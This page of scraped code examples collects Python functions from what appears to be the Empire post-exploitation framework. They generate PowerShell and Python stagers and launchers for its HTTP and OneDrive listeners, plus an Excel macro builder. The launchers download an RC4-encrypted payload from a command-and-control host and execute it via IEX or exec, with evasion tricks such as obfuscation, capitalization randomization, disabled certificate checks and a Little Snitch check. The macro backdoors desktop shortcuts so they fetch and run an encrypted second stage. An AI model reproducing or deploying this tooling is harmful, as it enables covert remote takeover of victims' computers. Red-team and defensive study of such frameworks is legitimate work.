Esempio n. 1
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the stager code
        """

        if not language:
            print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified"))
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_stager = ''

            for line in stager.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_stager += helpers.randomize_capitalization(line)
                    else:
                        randomized_stager += line

            if encode:
                return helpers.enc_powershell(randomized_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode('UTF-8')
                return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
            else:
                return randomized_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
Esempio n. 2
0
    def generate(self):
        # default booleans to false
        obfuscate_script = False

        # extract all of our options
        language = self.options['Language']['Value']
        listener_name = self.options['Listener']['Value']
        user_agent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxy_creds = self.options['ProxyCreds']['Value']
        stager_retries = self.options['StagerRetries']['Value']
        target_exe = self.options['TargetEXEs']['Value']
        xls_out = self.options['XlsOutFile']['Value']
        xml_path = self.options['XmlUrl']['Value']
        xml_out = self.options['XmlOutFile']['Value']
        bypasses = self.options['Bypasses']['Value']

        if self.options['Obfuscate']['Value'].lower == "true":
            obfuscate_script = True

        obfuscate_command = self.options['ObfuscateCommand']['Value']

        # catching common ways date is incorrectly entered
        kill_date = self.options['KillDate']['Value'].replace('\\', '/').replace(' ', '').split('/')
        if (int(kill_date[2]) < 100):
            kill_date[2] = int(kill_date[2]) + 2000
        target_exe = target_exe.split(',')
        target_exe = [_f for _f in target_exe if _f]

        # set vars to random alphabetical / alphanumeric values
        shell_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        lnk_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        fso_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        folder_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        file_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        enc_key = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation,
                          random.randint(16, 16)))
        # avoiding potential escape characters in our decryption key for the second stage payload
        for ch in ["\"", "'", "`"]:
            if ch in enc_key:
                enc_key = enc_key.replace(ch, random.choice(string.ascii_lowercase))
        enc_iv = random.randint(1, 240)

        # generate the launcher
        if language.lower() == "python":
            launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language,
                                                               encode=False,
                                                               userAgent=user_agent, proxy=proxy,
                                                               proxyCreds=proxy_creds,
                                                               stagerRetries=stager_retries)
        else:
            launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language,
                                                               encode=True,
                                                               obfuscate=obfuscate_script,
                                                               obfuscationCommand=obfuscate_command,
                                                               userAgent=user_agent,
                                                               proxy=proxy, proxyCreds=proxy_creds,
                                                               stagerRetries=stager_retries, bypasses=bypasses)

        launcher = launcher.replace("\"", "'")

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            try:
                reader = xlrd.open_workbook(xls_out)
                work_book = copy(reader)
                active_sheet = work_book.get_sheet(0)
            except (IOError, OSError):
                work_book = Workbook()
                active_sheet = work_book.add_sheet('Sheet1')

            # sets initial coords for writing data to
            input_row = random.randint(50, 70)
            input_col = random.randint(40, 60)

            # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
            macro = "Sub Auto_Close()\n"

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Wscript.shell"))
            macro += "Set " + shell_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                    input_col) + "\").value)\n"
            input_col = input_col + random.randint(1, 4)

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Scripting.FileSystemObject"))
            macro += "Set " + fso_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                  input_col) + "\").value)\n"
            input_col = input_col + random.randint(1, 4)

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("desktop"))
            macro += "Set " + folder_var + " = " + fso_var + ".GetFolder(" + shell_var + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value))\n"
            macro += "For Each " + file_var + " In " + folder_var + ".Files\n"

            macro += "If(InStr(Lcase(" + file_var + "), \".lnk\")) Then\n"
            macro += "Set " + lnk_var + " = " + shell_var + ".CreateShortcut(" + shell_var + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value) & \"\\\" & " + file_var + ".name)\n"
            input_col = input_col + random.randint(1, 4)

            macro += "If("
            for i, item in enumerate(target_exe):
                if i:
                    macro += (' or ')
                active_sheet.write(input_row, input_col, target_exe[i].strip().lower() + ".")
                macro += "InStr(Lcase(" + lnk_var + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                            input_col) + "\").value)"
                input_col = input_col + random.randint(1, 4)
            macro += ") Then\n"
            # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop.  After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process.  This code is then executed to gain a full agent on the remote system.
            launch_string1 = "hidden -nop -c \"Start(\'"
            launch_string2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
            launch_string3 = ") -le " + str(kill_date[2]) + str(kill_date[0]) + str(kill_date[1]) + "){$b.Load(\'"
            launch_string4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(enc_iv) + ".." + str(
                enc_iv + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
            launch_string5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""

            # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
            macro += lnk_var + ".IconLocation = " + lnk_var + ".targetpath\n"
            launch_string1 = helpers.randomize_capitalization(launch_string1)
            launch_string2 = helpers.randomize_capitalization(launch_string2)
            launch_string3 = helpers.randomize_capitalization(launch_string3)
            launch_string4 = helpers.randomize_capitalization(launch_string4)
            launch_string5 = helpers.randomize_capitalization(launch_string5)
            launch_string_sum = launch_string2 + "'%Y%m%d'" + launch_string3 + xml_path + launch_string4 + enc_key + launch_string5

            active_sheet.write(input_row, input_col, launch_string1)
            launch1_coords = self.coordsToCell(input_row, input_col)
            input_col = input_col + random.randint(1, 4)
            active_sheet.write(input_row, input_col, launch_string_sum)
            launch_sum_coords = self.coordsToCell(input_row, input_col)
            input_col = input_col + random.randint(1, 4)

            macro += lnk_var + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1_coords + "\").Value & " + lnk_var + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launch_sum_coords + "\").Value" + "\n"

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization(
                ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
            macro += lnk_var + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value\n"
            input_col = input_col + random.randint(1, 4)
            # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
            macro += "if(Len(" + lnk_var + ".arguments) < 1023) Then\n"
            macro += lnk_var + ".save\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "next " + file_var + "\n"
            macro += "End Sub\n"
            active_sheet.row(input_row).hidden = True
            print(helpers.color("\nWriting xls...\n", color="blue"))
            work_book.save(xls_out)
            print(helpers.color(
                "xls written to " + xls_out + "  please remember to add macro code to xls prior to use\n\n",
                color="green"))

            # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
            iv_buf = ("").encode('UTF-8')
            for z in range(0, 16):
                iv = enc_iv + z
                iv = iv.to_bytes(1, byteorder='big')
                iv_buf = b"".join([iv_buf, iv])

            encryptor = AES.new(enc_key.encode('UTF-8'), AES.MODE_CBC, iv_buf)

            # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
            padding = 16 - (len(launcher) % 16)
            if padding == 0:
                launcher = launcher + ('\x00' * 16)
            else:
                launcher = launcher + (chr(padding) * padding)

            cipher_text = encryptor.encrypt(launcher.encode('UTF-8'))
            cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text]))

            # write XML to disk
            print(helpers.color("Writing xml...\n", color="blue"))
            file_write = open(xml_out, "wb")
            file_write.write(b"<?xml version=\"1.0\"?>\n")
            file_write.write(b"<main>")
            file_write.write(cipher_text)
            file_write.write(b"</main>\n")
            file_write.close()
            print(helpers.color(
                "xml written to " + xml_out + " please remember this file must be accessible by the target at this url: " + xml_path + "\n",
                color="green"))

            return macro
Esempio n. 3
0
    def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default',
                          proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='',
                          listenerName=None, bypasses: List[str]=None):
        """
        Generate a basic launcher for the specified listener.
        """
        bypasses = [] if bypasses is None else bypasses

        if not language:
            print(helpers.color('[!] listeners/template generate_launcher(): no language specified!'))
            return None

        if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):

            # extract the set options for this instantiated listener
            listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
            host = listenerOptions['Host']['Value']
            launcher = listenerOptions['Launcher']['Value']
            stagingKey = listenerOptions['StagingKey']['Value']
            profile = listenerOptions['DefaultProfile']['Value']
            uris = [a for a in profile.split('|')[0].split(',')]
            stage0 = random.choice(uris)
            customHeaders = profile.split('|')[2:]

            if language.startswith('po'):
                # PowerShell

                stager = '$ErrorActionPreference = \"SilentlyContinue\";'
                if safeChecks.lower() == 'true':
                    stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
                    for bypass in bypasses:
                        stager += bypass
                    stager += "};"
                    stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")

                stager += helpers.randomize_capitalization(
                    "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;")

                if userAgent.lower() == 'default':
                    profile = listenerOptions['DefaultProfile']['Value']
                    userAgent = profile.split('|')[1]
                stager += "$u='" + userAgent + "';"

                if 'https' in host:
                    # allow for self-signed certificates for https connections
                    stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"

                if userAgent.lower() != 'none' or proxy.lower() != 'none':

                    if userAgent.lower() != 'none':
                        stager += helpers.randomize_capitalization(
                            '$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(')
                        stager += "'User-Agent',$u);"

                    if proxy.lower() != 'none':
                        if proxy.lower() == 'default':
                            stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name(
                                "wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
                        else:
                            # TODO: implement form for other proxy
                            stager += helpers.randomize_capitalization(
                                "$proxy=New-Object Net.WebProxy('" + proxy.lower() + "');")
                            stager += helpers.randomize_capitalization(
                                "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;")
                        if proxyCreds.lower() == "default":
                            stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name(
                                "wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
                        else:
                            # TODO: implement form for other proxy credentials
                            username = proxyCreds.split(':')[0]
                            password = proxyCreds.split(':')[1]
                            if len(username.split('\\')) > 1:
                                usr = username.split('\\')[1]
                                domain = username.split('\\')[0]
                                stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
                            else:
                                usr = username.split('\\')[0]
                                stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');"
                            stager += helpers.randomize_capitalization(
                                "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;")

                        # save the proxy settings to use during the entire staging process and the agent
                        stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name("wc") + ".Proxy;"

                # TODO: reimplement stager retries?
                # check if we're using IPv6
                listenerOptions = copy.deepcopy(listenerOptions)
                bindIP = listenerOptions['BindIP']['Value']
                port = listenerOptions['Port']['Value']
                if ':' in bindIP:
                    if "http" in host:
                        if "https" in host:
                            host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
                        else:
                            host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)

                # code to turn the key string into a byte array
                stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
                stager += "'%s');" % (stagingKey)

                # this is the minimized RC4 stager code from rc4.ps1
                stager += helpers.randomize_capitalization(
                    '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')

                # prebuild the request routing packet for the launcher
                routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL',
                                                             meta='STAGE0', additional='None', encData='')
                b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")

                # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
                stager += "$ser=%s;$t='%s';$hop='%s';" % (
                helpers.obfuscate_call_home_address(host), stage0, listenerName)

                # Add custom headers if any
                if customHeaders != []:
                    for header in customHeaders:
                        headerKey = header.split(':')[0]
                        headerValue = header.split(':')[1]
                        # If host header defined, assume domain fronting is in use and add a call to the base URL first
                        # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
                        if headerKey.lower() == "host":
                            stager += helpers.randomize_capitalization(
                                "try{$ig=$" + helpers.generate_random_script_var_name(
                                    "wc") + ".DownloadData($ser)}catch{};")

                        stager += helpers.randomize_capitalization(
                            "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
                        stager += "\"%s\",\"%s\");" % (headerKey, headerValue)

                # add the RC4 packet to a cookie

                stager += helpers.randomize_capitalization(
                    "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
                stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)

                stager += helpers.randomize_capitalization(
                    "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);")
                stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")

                # decode everything and kick it over to IEX to kick off execution
                stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")

                if obfuscate:
                    stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
                # base64 encode the stager and return it
                if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
                    return helpers.powershell_launcher(stager, launcher)
                else:
                    # otherwise return the case-randomized stager
                    return stager

            if language.startswith('py'):
                # Python

                launcherBase = 'import sys;'
                if "https" in host:
                    # monkey patch ssl woohooo
                    launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"

                try:
                    if safeChecks.lower() == 'true':
                        launcherBase += "import re, subprocess;"
                        launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
                        launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
                        launcherBase += "out, err = ps.communicate()\n"
                        launcherBase += "if re.search(\"Little Snitch\", out):\n"
                        launcherBase += "   sys.exit()\n"
                except Exception as e:
                    p = "[!] Error setting LittleSnitch in stager: " + str(e)
                    print(helpers.color(p, color='red'))

                if userAgent.lower() == 'default':
                    profile = listenerOptions['DefaultProfile']['Value']
                    userAgent = profile.split('|')[1]

                launcherBase += "import urllib2;\n"
                launcherBase += "UA='%s';" % (userAgent)
                launcherBase += "server='%s';t='%s';" % (host, stage0)

                # prebuild the request routing packet for the launcher
                routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON',
                                                             meta='STAGE0', additional='None', encData='')
                b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")

                launcherBase += "req=urllib2.Request(server+t);\n"
                # add the RC4 packet to a cookie
                launcherBase += "req.add_header('User-Agent',UA);\n"
                launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket)

                # Add custom headers if any
                if customHeaders != []:
                    for header in customHeaders:
                        headerKey = header.split(':')[0]
                        headerValue = header.split(':')[1]
                        # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
                        launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)

                if proxy.lower() != "none":
                    if proxy.lower() == "default":
                        launcherBase += "proxy = urllib2.ProxyHandler();\n"
                    else:
                        proto = proxy.Split(':')[0]
                        launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"

                    if proxyCreds != "none":
                        if proxyCreds == "default":
                            launcherBase += "o = urllib2.build_opener(proxy);\n"
                        else:
                            launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
                            username = proxyCreds.split(':')[0]
                            password = proxyCreds.split(':')[1]
                            launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
                            launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
                    else:
                        launcherBase += "o = urllib2.build_opener(proxy);\n"
                else:
                    launcherBase += "o = urllib2.build_opener();\n"

                # install proxy and creds globally, so they can be used with urlopen.
                launcherBase += "urllib2.install_opener(o);\n"

                # download the stager and extract the IV

                launcherBase += "a=urllib2.urlopen(req).read();\n"
                launcherBase += "IV=a[0:4];"
                launcherBase += "data=a[4:];"
                launcherBase += "key=IV+'%s';" % (stagingKey)

                # RC4 decryption
                launcherBase += "S,j,out=range(256),0,[]\n"
                launcherBase += "for i in range(256):\n"
                launcherBase += "    j=(j+S[i]+ord(key[i%len(key)]))%256\n"
                launcherBase += "    S[i],S[j]=S[j],S[i]\n"
                launcherBase += "i=j=0\n"
                launcherBase += "for char in data:\n"
                launcherBase += "    i=(i+1)%256\n"
                launcherBase += "    j=(j+S[i])%256\n"
                launcherBase += "    S[i],S[j]=S[j],S[i]\n"
                launcherBase += "    out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
                launcherBase += "exec(''.join(out))"

                if encode:
                    launchEncoded = base64.b64encode(launcherBase).decode("utf-8")
                    launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (
                        launchEncoded)
                    return launcher
                else:
                    return launcherBase

            else:
                print(helpers.color(
                    "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))

        else:
            print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
Esempio n. 4
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="",
                        language=None):
        """
        If you want to support staging for the listener module, generate_stager must be
        implemented to return the stage1 key-negotiation stager code.
        """
        if not language:
            print(helpers.color('[!] listeners/http generate_stager(): no language specified!'))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        launcher = listenerOptions['Launcher']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        killDate = listenerOptions['KillDate']['Value']
        host = listenerOptions['Host']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)
            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            if customHeaders != []:
                headers = ','.join(customHeaders)
                stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";")

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            # Patch in the killdate, if any
            if killDate != "":
                stager = stager.replace('REPLACE_KILLDATE', killDate)

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager,
                                                     obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':
            # read in the stager base
            f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)

            if host.endswith("/"):
                host = host[0:-1]

            if workingHours != "":
                stager = stager.replace('SET_WORKINGHOURS', workingHours)

            if killDate != "":
                stager = stager.replace('SET_KILLDATE', killDate)

            # # patch the server and key information
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("REPLACE_PROFILE", profile)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # # base64 encode the stager and return it
            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print(helpers.color(
                "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
Esempio n. 5
0
    def generate_launcher(self,
                          encode=True,
                          obfuscate=False,
                          obfuscationCommand="",
                          userAgent='default',
                          proxy='default',
                          proxyCreds='default',
                          stagerRetries='0',
                          language=None,
                          safeChecks='',
                          listenerName=None,
                          bypasses: List[str] = None):
        bypasses = [] if bypasses is None else bypasses

        if not language:
            print(
                helpers.color(
                    "[!] listeners/onedrive generate_launcher(): No language specified"
                ))

        if listenerName and (listenerName in self.threads) and (
                listenerName in self.mainMenu.listeners.activeListeners):
            listener_options = self.mainMenu.listeners.activeListeners[
                listenerName]['options']
            staging_key = listener_options['StagingKey']['Value']
            profile = listener_options['DefaultProfile']['Value']
            launcher_cmd = listener_options['Launcher']['Value']
            staging_key = listener_options['StagingKey']['Value']
            poll_interval = listener_options['PollInterval']['Value']
            base_folder = listener_options['BaseFolder']['Value'].strip("/")
            staging_folder = listener_options['StagingFolder']['Value']
            taskings_folder = listener_options['TaskingsFolder']['Value']
            results_folder = listener_options['ResultsFolder']['Value']

            if language.startswith("power"):
                launcher = "$ErrorActionPreference = 'SilentlyContinue';"  # Set as empty string for debugging

                if safeChecks.lower() == 'true':
                    launcher = helpers.randomize_capitalization(
                        "If($PSVersionTable.PSVersion.Major -ge 3){")
                    for bypass in bypasses:
                        launcher += bypass
                    launcher += "};"
                    launcher += helpers.randomize_capitalization(
                        "[System.Net.ServicePointManager]::Expect100Continue=0;"
                    )

                launcher += helpers.randomize_capitalization(
                    "$wc=New-Object SYstem.Net.WebClient;")

                if userAgent.lower() == 'default':
                    profile = listener_options['DefaultProfile']['Value']
                    userAgent = profile.split("|")[1]
                launcher += "$u='" + userAgent + "';"

                if userAgent.lower() != 'none' or proxy.lower() != 'none':
                    if userAgent.lower() != 'none':
                        launcher += helpers.randomize_capitalization(
                            "$wc.Headers.Add(")
                        launcher += "'User-Agent',$u);"

                    if proxy.lower() != 'none':
                        if proxy.lower() == 'default':
                            launcher += helpers.randomize_capitalization(
                                "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
                            )
                        else:
                            launcher += helpers.randomize_capitalization(
                                "$proxy=New-Object Net.WebProxy;")
                            launcher += helpers.randomize_capitalization(
                                "$proxy.Address = '" + proxy.lower() + "';")
                            launcher += helpers.randomize_capitalization(
                                "$wc.Proxy = $proxy;")
                    if proxyCreds.lower() == "default":
                        launcher += helpers.randomize_capitalization(
                            "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
                        )
                    else:
                        username = proxyCreds.split(":")[0]
                        password = proxyCreds.split(":")[1]
                        domain = username.split("\\")[0]
                        usr = username.split("\\")[1]
                        launcher += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
                        launcher += helpers.randomize_capitalization(
                            "$wc.Proxy.Credentials = $netcred;")

                    launcher += "$Script:Proxy = $wc.Proxy;"

                # code to turn the key string into a byte array
                launcher += helpers.randomize_capitalization(
                    "$K=[System.Text.Encoding]::ASCII.GetBytes(")
                launcher += ("'%s');" % staging_key)

                # this is the minimized RC4 launcher code from rc4.ps1
                launcher += helpers.randomize_capitalization(
                    '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
                )

                launcher += helpers.randomize_capitalization(
                    "$data=$wc.DownloadData('")
                launcher += self.mainMenu.listeners.activeListeners[
                    listenerName]['stager_url']
                launcher += helpers.randomize_capitalization(
                    "');$iv=$data[0..3];$data=$data[4..$data.length];")

                launcher += helpers.randomize_capitalization(
                    "-join[Char[]](& $R $data ($IV+$K))|IEX")

                if obfuscate:
                    launcher = data_util.obfuscate(
                        self.mainMenu.installPath,
                        launcher,
                        obfuscationCommand=obfuscationCommand)

                if encode and ((not obfuscate) or
                               ("launcher" not in obfuscationCommand.lower())):
                    return helpers.powershell_launcher(launcher, launcher_cmd)
                else:
                    return launcher

            if language.startswith("pyth"):
                print(
                    helpers.color(
                        "[!] listeners/onedrive generate_launcher(): Python agent not implimented yet"
                    ))
                return "python not implimented yet"

        else:
            print(
                helpers.color(
                    "[!] listeners/onedrive generate_launcher(): invalid listener name"
                ))
Esempio n. 6
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        obfuscate=False,
                        obfuscationCommand="",
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    '[!] listeners/http_com generate_stager(): no language specified!'
                ))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
